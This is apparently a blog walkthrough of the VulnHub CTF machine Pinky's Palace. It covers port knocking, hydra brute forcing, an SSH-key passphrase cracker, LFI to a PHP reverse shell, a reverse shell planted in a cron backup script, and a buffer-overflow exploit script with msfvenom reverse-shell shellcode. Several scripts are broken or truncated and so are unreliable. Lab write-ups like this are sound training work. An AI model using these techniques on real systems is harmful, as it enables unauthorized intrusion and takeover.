templatemo easy profile


After some time I got back to my first love VulnHub.com and found this machine. I downloaded it and started to play with it and in the end it proved something really challenging, but just as much rewarding.
So let's begin.
On the VM the ip is shown so I can just run nmap and see what ports are open.

It looks just port 80 is open, with some other unknown services running on other ports. They are however filtered by a firewall.

Upon opening the website I notice the look seems a little off.

Checking the source of the page it is clear that I need to fix my /etc/hosts in order to allow the various files to be properly fetched.

After doing that the look gets much better. I can now check better the wordpress site, however nothing really stands out.

Running wpscan identifies the wordpress user, however I am not able to crack the password and get in. Time to move on

I then run dirsearch.py and a 'secret' directory is found:

So I check the directory and find the bambam.txt file.

Download it and seems like a port knocking sequence.

With the following one liner I do the needed port knocking.

for i in $(cat bambam.txt); do nmap -T 3 -sS --host_timeout 100 --max-retries 0 -p $i ; done

So I can now check the new services. Let's begin with port 31337:

It seems like an echo server and, as it says itself, it should be some kind of exploitable one...
So in order to see if a magic word will give me some kind of clue I wrote the following python script:


import os, socket, sys
import time

os.system("touch success.txt")
port = 31337 
target = "pinkydb"
print "[*] TESTING : " + target
strings = open(sys.argv[1], 'r')	
for string in strings:
	s =  socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((target,port ))

        header = s.recv(2)#Magic, small number to begin with.
	while ">" not in header:
            header += s.recv(2)

	shellock = string.strip() + '\r\n'

	response3 = s.recv(1024)
	print response3.strip()
	if string in response3:
		print "response=string"	
		file = open("success.txt","w") 
		print "## response: " + response3


Now matter what wordlist I used this effort proved useless.
Port 4655 is bound to the SSH server, so after checking for banner I quickly moved away.
On port 7654 there is another web server so let's check it out.

A login page. Running dirsearch.py finds nothing more.

I'm not going to lie here, I spent quite some time trying to break the login. I first tried manual sql injections, then sqlmap and finally hydra with many different password lists. Nothing.
At last I remember this is a CTF so I turned to look at cewl.

cewl https://en.wikipedia.org/wiki/The_Pink_Panther -d 1 -w cewl.txt

With the following hydra command I was able to finally find the login credentials --> pinky:Passione

hydra pinkydb -s 7654 -L /root/CTF/PINKYS/user_stric.txt -P /root/CTF/PINKYS/cewl.txt https-post-form "/login.php:user=^USER^&pass=^PASS^&submit=Login:F=Invalid:H Cookie: wordpress_test_cookie=WP+Cookie+check" -t 64

I can finally check what more this machine stores for me:

It is possible to download an ssh private key:

Since the 1337 param seems exploitable I try to execute a reverse shell via RFI. No go. LFI is however possible:

After trying to exploit LFI to poison some logs I give in 'cause the ssh key seems very promising. The key is, of course, password protected :(

After a quick Google search I found a tool for bruteforcing the key: PD. Unfortunately, no matter the version I tried to install the compilation failed. Back to Google.
After a little while I came up with this python scripts to bruteforce the key:

import sys, os
import paramiko
from paramiko import rsakey

os.system("touch success.txt")
kf = open("sshk", "r")

dlist = open(sys.argv[1], 'r')	

for s in dlist:
    d = s.strip()
    print "[*] - Trying" + d
        nk = rsakey.RSAKey.from_private_key(kf, password=d)
        print "success ", d
	file = open("success.txt","w") 
    except paramiko.ssh_exception.SSHException:
        print "fail", d

It's pretty ugly, not multi threaded and to be honest I didn't expect it to work, but it did!

Now I can SSH as Stefano:

By the way the password was not really amongst the firsts to be found...

Right away I found inside the 'tools' directory in stefano's home the 'qsub' file.
Looking at it seems the next logical step. I cannot read it nor modify it. It's a SUID file owned by Pinky. WWW-DATA has reading access.

Since I had to do quite a lot of bruteforcing so far I create a quick bash script to try to that. But doesn't feel right. If it's a SUID file I should exploit it to become Pinky user.
So I need WWW-DATA access, start looking around...
I started some recon picking the databases, however I was not able to crack the wordpress hash.

I was also unable to get a shell via a new installation of Wordpress.

Even though it was clear I needed www-data privs to proceed, I fixated on the wordpress site and became shortsighted... So I hit Pink_P4nther on Twitter. He was kind enough to make me realize my overlooking and advised me to look closer at the web application. There maybe was a vulnerability to exploit... DADAM!! LFI, why did I forget all about it?
So I test it:

It works and I can get a reverse PHP shell:

I can now exfil the file and get a better look at it:

Running 'strings' on it reveals the main use of this file. It echos an input to /home/pinky/messages/stefano_msg.txt. It uses absolute path, so I cannot play with the ENV variable, but maybe an injection is possible. Seem's like. But first I need to find the password.

It's a 64bit ELF and I'm running my 32bit Kali. So I switch to my old good 64bit VM.
Here I run the file on IDA and get a good workflow of the application. It calls an _strcmp function and compares the values stored in RSI and RDI just before calling the function.

I then used gdb to find the value of RSI ---> 'xterm-256color'. A variable called TERM seen previously in the workflow actually gave it away. Knowing this you could for example type 'export TERM="shellock" and give 'shellock' as password. I'd advise you to don't do it. I did of course and screwed up my terminal.
If you don't want to go to the trouble of reverse the function just type 'echo $TERM' and use the output as a password. Not that you don't know it already.

Anyways. Time to test:

And to get a shell as Pinky

I search all files owned by pinky as a start. There isn't much.

Going inside the home directory I read the bash_history.

Here I find out about a backup.sh owned by demon and belonging to the pinky group. My shell however runs as stefano group.
I struggle for some time to get an 'upgraded' shell until I turned again to the Pink!
The way I didn't think about was to run a cron job. So I added with crontab -e a reverseShell I had previously uploaded in /tmp.

Since backup.sh looks very much like a cronjob I added to the script my reverse shell (disabled of course the cron job), started a listener and sure enough after a few minutes I got a shell back as demon.

I quickly find the panel file inside /daemon.

It's another 64bit ELF so after exfil I get back to my other box. Running strings shows the file is the one running on port 31337.

Checking the file with IDA gives me a first hint: a call to a function called 'handlecmd' is made just after the banner display.

The function itself uses a well know vulnerability by calling _strcpy. This screams Buffer Overflow.

After some time poking the ELF on gdb I found where the Stack Pointer was overwritten. 120 bytes.

I placed a few of break points and discovered the after that the ret was called in the 'handlecmd' routine the Stack was overwritten with all my 'A's and the previous Instruction pointer was overwritten with my 'B's.

Finding the return address with the aid of radare2 and the exploit worked! (I have been lazy and didn't check for bad chars, I simply avoided the common ones...)

Here is the working exploit:


import sys, socket, time
from struct import pack
# msfvenom -p linux/x64/shell_reverse_tcp LHOST= LPORT=443 R -b "\x00\x0a\x0d"  -f c --smallest
#Payload size: 95 bytes
#Final size of c file: 425 bytes
shellcode = ("\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05\xef\xff"

buffer = shellcode + "A"*(120-len(shellcode))
buffer += pack("<I", 0x00400cfb) 
buffer += "E"*72 + "\r\n"

port = 31337 
target = "localhost"

s =  socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target,port ))
header = s.recv(2)
while ">" not in header:
 header += s.recv(2)
print header
print "[Sending payload]"
response3 = s.recv(1024)
print response3.strip()

After adjusting the payload I can finally conquer Pinky's Palace!